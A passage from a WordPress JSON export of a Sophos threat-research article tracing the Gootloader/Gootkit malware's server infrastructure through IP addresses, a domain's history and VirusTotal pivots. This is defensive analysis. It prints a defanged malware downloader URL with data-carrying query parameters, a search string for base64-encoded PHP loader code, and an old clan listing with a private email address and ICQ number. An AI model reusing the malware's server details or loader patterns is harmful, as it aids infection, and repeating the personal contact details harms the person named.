delivers the .js payload<\/figcaption><\/figure>\n<p>We were also able to identify several Gootkit files that refer to, or link to, this IP address, including <a href=\"https:\/\/www.virustotal.com\/gui\/file\/0520e23437f94b0bc5796ce2b2bc63aa4719bb8ed584df214e145ef3c852409e\/detection\">this script<\/a>, and <a href=\"https:\/\/www.virustotal.com\/gui\/file\/1fb8ecef3e7cafd9eb2bb0a879ec4db5e420fbf99b4c839f8f1194a42c45e8c5\">this script<\/a>. Both of these files contain error messages that refer to something not being able to completely download a component.<\/p>\n<figure id=\"attachment_959317\" aria-describedby=\"caption-attachment-959317\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image30.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959317\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image30.png\" alt=\"A screenshot of a file uploaded to VirusTotal shows references to the IP address formerly used to host the Gootkit\/Gootloader &quot;mothership&quot; server\" width=\"640\" height=\"367\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image30.png 652w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image30.png?resize=300,172 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959317\" class=\"wp-caption-text\">A screenshot of a file uploaded to VirusTotal shows references to the IP address formerly used to host the Gootkit\/Gootloader &#8220;mothership&#8221; server<\/figcaption><\/figure>\n<p>Interestingly, the server-side downloader script was named file_tmp_41.php, which is unlike the downloader scripts seen normally. That may indicate this script was an artifact of testing.<\/p>\n<p>If we pivot off of this information, and (for example) search VirusTotal for <strong>content:&#8221;&lt;?php $a=base64_decode(&#8216;ZnVuY3Rpb24&#8243;<\/strong> . The result yields <a href=\"https:\/\/www.virustotal.com\/gui\/file\/c20a040acb10e820cfaaa086bdc807ffed6241bc5d0fc9e11a02a5d355125df0\/detection\">additional<\/a> <a href=\"https:\/\/www.virustotal.com\/gui\/file\/5b5652c6ea0c0c88105baf6a700324bdf2cd8f47772a3215f721dccdce9141c4\">files<\/a>, both of which contain a URL that we\u2019ve previously discussed:<\/p>\n<pre>http[:]\/\/5.8.18.7\/filesst.php?a=$i&amp;b=$u&amp;c=$r&amp;d=$h&amp;e=$g<\/pre>\n<h3>5.8.18[.]159<\/h3>\n<p>This was another address that my-game[.]biz has resolved to in the past. We were able to find <a href=\"https:\/\/www.virustotal.com\/gui\/file\/5441f3a90d862041a8b6b9d02bf178ca9fe552e8111cff27706fd0201a2cbacf\">another first-stage Gootkit component<\/a> that links directly to this IP address.<\/p>\n<h3>91.215.85[.]52<\/h3>\n<p>Yet another IP that has been used to host my-game[.]biz and continues to do so. We found still another <a href=\"https:\/\/www.virustotal.com\/gui\/file\/390372494af42685a506976614a5d5dfc65e982b98dbe794e3d2c3fef9b9f595\">first-stage Gootkit script<\/a> that links to this IP address.<\/p>\n<h3>my-game[.]biz<\/h3>\n<p>The site is blank now, but the Internet Archive reveals an interesting origin story to this domain: In 2014, it was used to host a Russian online gambling site. <a href=\"https:\/\/threatpost.com\/wordpress-seo-injection-malware\/140055\/\">Since 2018<\/a>, the page has hosted no other content but has been linked to the Gootkit\/Gootloader malware.<\/p>\n<figure id=\"attachment_959318\" aria-describedby=\"caption-attachment-959318\" style=\"width: 726px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959318\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png\" alt=\"The my-game website as it appeared in 2014, a Russian-language gambling site called &quot;Casino Game Life&quot;\" width=\"726\" height=\"423\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png 1131w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png?resize=300,175 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png?resize=768,448 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image31.png?resize=1024,598 1024w\" sizes=\"auto, (max-width: 726px) 100vw, 726px\" \/><\/a><figcaption id=\"caption-attachment-959318\" class=\"wp-caption-text\">The my-game website as it appeared in 2014, a Russian-language gambling site called &#8220;Casino Game Life&#8221;<\/figcaption><\/figure>\n<p>The only other reference we could find to the domain was a Counter-Strike clan directory dating back more than 15 years.<\/p>\n<figure id=\"attachment_959319\" aria-describedby=\"caption-attachment-959319\" style=\"width: 760px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image32.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959319\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image32.png\" alt=\"The my-game domain that continues to host the Gootkit\/Gootloader mothership originally belonged to a German team that played the game Counter-Strike competitively\" width=\"760\" height=\"863\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image32.png 818w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image32.png?resize=264,300 264w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image32.png?resize=768,872 768w\" sizes=\"auto, (max-width: 760px) 100vw, 760px\" \/><\/a><figcaption id=\"caption-attachment-959319\" class=\"wp-caption-text\">The my-game domain that continues to host the Gootkit\/Gootloader mothership originally belonged to a German team that played the game Counter-Strike competitively<\/figcaption><\/figure>\n<p>The directory lists this website as the home page for a group of \u201csemi professional\u201d players based in Germany who played under the handle #mY-GaMe.<\/p>\n<pre>Name:\u00a0\u00a0\u00a0\u00a0 #mY-GaMe  Clan-Tag (K\u00fcrzel):\u00a0\u00a0\u00a0\u00a0 #mY-GaMe`  Land (Hauptsitz des Clans):\u00a0\u00a0 Deutschlandweit  Ort (Hauptsitz des Clans):\u00a0\u00a0\u00a0 Deutschlandweit  Leader:\u00a0\u00a0 pr0nb1tch  ICQ#:\u00a0\u00a0\u00a0\u00a0 256558686  Homepage: http:\/\/www.my-game.biz  Anzahl der Spieler:\u00a0\u00a0\u00a0 10  Art der Spielmodi:\u00a0\u00a0\u00a0\u00a0 Leaguez  Clan-Profil:\u00a0\u00a0\u00a0 Semi-Profi-Clan  Clan sucht neue Spieler:\u00a0\u00a0\u00a0\u00a0\u00a0 Ja  Leader: kevin.goe@online.de    <\/pre>\n<h2>Open-source intelligence reveals a lot<\/h2>\n<p>With a malware infection method seemingly designed to make it as difficult as possible for researchers to dig in and learn how it works, Gootloader remains one of the most pernicious and difficult-to-study threats on the web.<\/p>\n<p>However, despite most of its code existing and running inside of other people\u2019s WordPress servers, the proliferation of online analysis tools provides a rich pool of opportunity to learn how the malware works, and how its loader delivers payloads. Thanks to the resources uploaded by a variety of different analysts and researchers, we\u2019ve been able to build a nearly complete picture of how the malware operates.<\/p>\n<p>The PHP scripts, embedded JavaScript components, and downloadable JScript payloads of this infection are now well understood, and yet the malware continues to have an impact, more than six years after it was first discovered. Fortunately, due to the relatively sluggish pace of the malware\u2019s development and its relatively stable hosting of the \u201cmothership\u201d server, static and dynamic detections remain effective.<\/p>\n<p>And a final note about collaborative research projects. It pays to develop and maintain relationships with the malware analysis and security research community. For this project, we received help from several researchers, some of whom did not want to be acknowledged. Our advice: If you do this kind of work, don\u2019t hesitate to share your findings; you will find that the effort you invest in collaboration with colleagues across the industry will eventually pay off when you need information. We are grateful for the support and help we received from several individuals.<\/p>\n<h2>Acknowledgments<\/h2>\n<p>Sophos X-Ops gratefully acknowledges the contribution of Marv Ahlstrom, an SEO expert who advised us about various aspects of Gootloader\/Gootkit\u2019s malicious SEO. The author also wishes to thank the pseudonymous researchers who use the handles <a href=\"https:\/\/twitter.com\/ss55752750\">@sS55752750<\/a>, <a href=\"https:\/\/infosec.exchange\/@squiblydooblog@bird.makeup\">@SquiblydooBlog<\/a>, and <a href=\"https:\/\/infosec.exchange\/@GootloaderSites\">@GootLoaderSites<\/a> for their assistance. We also recognize and are grateful for research previously published by Sucuri and Rich Infante. X-Ops researcher Andrew Brandt contributed to this analysis.<\/p>\n<h3>Indicators of compromise<\/h3>\n<p><a href=\"https:\/\/github.com\/sophoslabs\/IoCs\/blob\/master\/IOC-sheet_gootloader2025.csv\" target=\"_blank\" rel=\"noopener\">Hashes and other IOCs referenced in this story<\/a> are listed on the SophosLabs Github.<\/p>\n<p>&nbsp;<\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/news.sophos.com\/en-us\/2025\/01\/16\/gootloader-inside-out\/\" target=\"bwo\" >http:\/\/feeds.feedburner.com\/sophos\/dgdY<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/gootloader-hero3.png\"\/><\/p>\n<p><strong>Credit to Author: Gabor Szappanos| Date: Thu, 16 Jan 2025 17:00:02 +0000<\/strong><\/p>\n<p>Open-source intelligence reveals the server-side code of this pernicious SEO-driven malware &#8211; without needing a lawyer afterward<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10378,10377],"tags":[129,32313,31457,32314,10937,32315,3764,12039,16860,32316,18567,16771,16341,14788],"class_list":["post-25686","post","type-post","status-publish","format-standard","hentry","category-security","category-sophos","tag-featured","tag-gootkit","tag-gootloader","tag-hellodolly","tag-jscript","tag-malicious-seo","tag-malware","tag-obfuscation","tag-php","tag-php-shell","tag-seo","tag-threat-research","tag-wordpress","tag-yara"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/25686","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=25686"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/25686\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=25686"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=25686"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=25686"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}